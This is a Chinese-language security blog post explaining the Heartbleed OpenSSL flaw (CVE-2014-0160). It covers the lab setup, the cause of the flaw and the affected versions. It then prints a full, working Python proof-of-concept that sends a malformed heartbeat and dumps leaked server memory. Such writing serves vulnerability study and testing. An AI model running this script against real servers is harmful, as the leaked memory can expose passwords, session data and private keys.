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<h3 id="【研究】"><a href="#【研究】" class="headerlink" title="【研究】"></a>【研究】</h3><ul>
<li><ul>
<li><a href="#1_3">1.环境</a></li>
<li><a href="#2_8">2.原理</a></li>
<li><a href="#3_13">3.影响版本</a></li>
<li><a href="#4_19">4.利用过程</a></li>
</ul>
</li>
</ul>
<h2 id="1-环境"><a href="#1-环境" class="headerlink" title="1.环境"></a>1.环境</h2><p>环境<br><a target="_blank" rel="noopener" href="https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md">https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md</a><br>这个搭环境很方便快捷，具体可以看说明，很简单</p>
<h2 id="2-原理"><a href="#2-原理" class="headerlink" title="2.原理"></a>2.原理</h2><p>2014年4月7日OpenSSL发布了安全公告，在OpenSSL1.0.1版本的心跳包模块存在严重漏洞（CVE-2014-0160）。攻击者可以通过构造特殊的数据包，直接远程读取存在漏洞的OpenSSL服务器内存中多达64KB的数据，极有可能导致网站用户帐号密码等敏感数据被非法获取。漏洞发现者甚至声称可以直接获取到证书私钥和重要的商业文档。</p>
<h2 id="3-影响版本"><a href="#3-影响版本" class="headerlink" title="3.影响版本"></a>3.影响版本</h2><p>OpenSSL 1.0.1f（受影响）<br>OpenSSL 1.0.1g （不受影响）<br>OpenSSL 1.0.0 branch （不受影响）<br>OpenSSL 0.9.8 branch （不受影响）</p>
<h2 id="4-利用过程"><a href="#4-利用过程" class="headerlink" title="4.利用过程"></a>4.利用过程</h2><p><a target="_blank" rel="noopener" href="http://0day.websaas.com.cn/">http://0day.websaas.com.cn/</a><br>简单的可以直接在线检测</p>
<p><img src="https://img-blog.csdnimg.cn/20190828161833626.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2dvZF96elo=,size_16,color_FFFFFF,t_70" alt="在这里插入图片描述"></p>
<p>测试脚本</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br></pre></td><td class="code"><pre><span class="line"># Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)</span><br><span class="line"># The author disclaims copyright to this source code.</span><br><span class="line"></span><br><span class="line">import sys</span><br><span class="line">import struct</span><br><span class="line">import socket</span><br><span class="line">import time</span><br><span class="line">import select</span><br><span class="line">import re</span><br><span class="line">from optparse import OptionParser</span><br><span class="line"></span><br><span class="line">options = OptionParser(usage=&#x27;%prog server [options]&#x27;, description=&#x27;Test for SSL heartbeat vulnerability (CVE-2014-0160)&#x27;)</span><br><span class="line">options.add_option(&#x27;-p&#x27;, &#x27;--port&#x27;, type=&#x27;int&#x27;, default=443, help=&#x27;TCP port to test (default: 443)&#x27;)</span><br><span class="line"></span><br><span class="line">def h2bin(x):</span><br><span class="line">    return x.replace(&#x27; &#x27;, &#x27;&#x27;).replace(&#x27;\n&#x27;, &#x27;&#x27;).decode(&#x27;hex&#x27;)</span><br><span class="line"></span><br><span class="line">hello = h2bin(&#x27;&#x27;&#x27;</span><br><span class="line">16 03 02 00  dc 01 00 00 d8 03 02 53</span><br><span class="line">43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf</span><br><span class="line">bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00</span><br><span class="line">00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88</span><br><span class="line">00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c</span><br><span class="line">c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09</span><br><span class="line">c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44</span><br><span class="line">c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c</span><br><span class="line">c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11</span><br><span class="line">00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04</span><br><span class="line">03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19</span><br><span class="line">00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08</span><br><span class="line">00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13</span><br><span class="line">00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00</span><br><span class="line">00 0f 00 01 01                                  </span><br><span class="line">&#x27;&#x27;&#x27;)</span><br><span class="line"></span><br><span class="line">hb = h2bin(&#x27;&#x27;&#x27; </span><br><span class="line">18 03 02 00 03</span><br><span class="line">01 40 00</span><br><span class="line">&#x27;&#x27;&#x27;)</span><br><span class="line"></span><br><span class="line">def hexdump(s):</span><br><span class="line">    for b in xrange(0, len(s), 16):</span><br><span class="line">        lin = [c for c in s[b : b + 16]]</span><br><span class="line">        hxdat = &#x27; &#x27;.join(&#x27;%02X&#x27; % ord(c) for c in lin)</span><br><span class="line">        pdat = &#x27;&#x27;.join((c if 32 &lt;= ord(c) &lt;= 126 else &#x27;.&#x27; )for c in lin)</span><br><span class="line">        print &#x27;  %04x: %-48s %s&#x27; % (b, hxdat, pdat)</span><br><span class="line">    print</span><br><span class="line"></span><br><span class="line">def recvall(s, length, timeout=5):</span><br><span class="line">    endtime = time.time() + timeout</span><br><span class="line">    rdata = &#x27;&#x27;</span><br><span class="line">    remain = length</span><br><span class="line">    while remain &gt; 0:</span><br><span class="line">        rtime = endtime - time.time() </span><br><span class="line">        if rtime &lt; 0:</span><br><span class="line">            return None</span><br><span class="line">        r, w, e = select.select([s], [], [], 5)</span><br><span class="line">        if s in r:</span><br><span class="line">            data = s.recv(remain)</span><br><span class="line">            # EOF?</span><br><span class="line">            if not data:</span><br><span class="line">                return None</span><br><span class="line">            rdata += data</span><br><span class="line">            remain -= len(data)</span><br><span class="line">    return rdata</span><br><span class="line">        </span><br><span class="line"></span><br><span class="line">def recvmsg(s):</span><br><span class="line">    hdr = recvall(s, 5)</span><br><span class="line">    if hdr is None:</span><br><span class="line">        print &#x27;Unexpected EOF receiving record header - server closed connection&#x27;</span><br><span class="line">        return None, None, None</span><br><span class="line">    typ, ver, ln = struct.unpack(&#x27;&gt;BHH&#x27;, hdr)</span><br><span class="line">    pay = recvall(s, ln, 10)</span><br><span class="line">    if pay is None:</span><br><span class="line">        print &#x27;Unexpected EOF receiving record payload - server closed connection&#x27;</span><br><span class="line">        return None, None, None</span><br><span class="line">    print &#x27; ... received message: type = %d, ver = %04x, length = %d&#x27; % (typ, ver, len(pay))</span><br><span class="line">    return typ, ver, pay</span><br><span class="line"></span><br><span class="line">def hit_hb(s):</span><br><span class="line">    s.send(hb)</span><br><span class="line">    while True:</span><br><span class="line">        typ, ver, pay = recvmsg(s)</span><br><span class="line">        if typ is None:</span><br><span class="line">            print &#x27;No heartbeat response received, server likely not vulnerable&#x27;</span><br><span class="line">            return False</span><br><span class="line"></span><br><span class="line">        if typ == 24:</span><br><span class="line">            print &#x27;Received heartbeat response:&#x27;</span><br><span class="line">            hexdump(pay)</span><br><span class="line">            if len(pay) &gt; 3:</span><br><span class="line">                print &#x27;WARNING: server returned more data than it should - server is vulnerable!&#x27;</span><br><span class="line">            else:</span><br><span class="line">                print &#x27;Server processed malformed heartbeat, but did not return any extra data.&#x27;</span><br><span class="line">            return True</span><br><span class="line"></span><br><span class="line">        if typ == 21:</span><br><span class="line">            print &#x27;Received alert:&#x27;</span><br><span class="line">            hexdump(pay)</span><br><span class="line">            print &#x27;Server returned error, likely not vulnerable&#x27;</span><br><span class="line">            return False</span><br><span class="line"></span><br><span class="line">def main():</span><br><span class="line">    opts, args = options.parse_args()</span><br><span class="line">    if len(args) &lt; 1:</span><br><span class="line">        options.print_help()</span><br><span class="line">        return</span><br><span class="line"></span><br><span class="line">    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line">    print &#x27;Connecting...&#x27;</span><br><span class="line">    sys.stdout.flush()</span><br><span class="line">    s.connect((args[0], opts.port))</span><br><span class="line">    print &#x27;Sending Client Hello...&#x27;</span><br><span class="line">    sys.stdout.flush()</span><br><span class="line">    s.send(hello)</span><br><span class="line">    print &#x27;Waiting for Server Hello...&#x27;</span><br><span class="line">    sys.stdout.flush()</span><br><span class="line">    while True:</span><br><span class="line">        typ, ver, pay = recvmsg(s)</span><br><span class="line">        if typ == None:</span><br><span class="line">            print &#x27;Server closed connection without sending Server Hello.&#x27;</span><br><span class="line">            return</span><br><span class="line">        # Look for server hello done message.</span><br><span class="line">        if typ == 22 and ord(pay[0]) == 0x0E:</span><br><span class="line">            break</span><br><span class="line"></span><br><span class="line">    print &#x27;Sending heartbeat request...&#x27;</span><br><span class="line">    sys.stdout.flush()</span><br><span class="line">    s.send(hb)</span><br><span class="line">    hit_hb(s)</span><br><span class="line"></span><br><span class="line">if __name__ == &#x27;__main__&#x27;:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure></article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://godzeo.github.io">Zeo</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://godzeo.github.io/2019/08/28/%E3%80%90%E7%A0%94%E7%A9%B6%E3%80%91%E5%BF%83%E8%84%8F%E5%87%BA%E8%A1%80%E6%BC%8F%E6%B4%9E/">https://godzeo.github.io/2019/08/28/%E3%80%90%E7%A0%94%E7%A9%B6%E3%80%91%E5%BF%83%E8%84%8F%E5%87%BA%E8%A1%80%E6%BC%8F%E6%B4%9E/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://godzeo.github.io" target="_blank">Zeo's Security Lab</a>！</span></div></div><div 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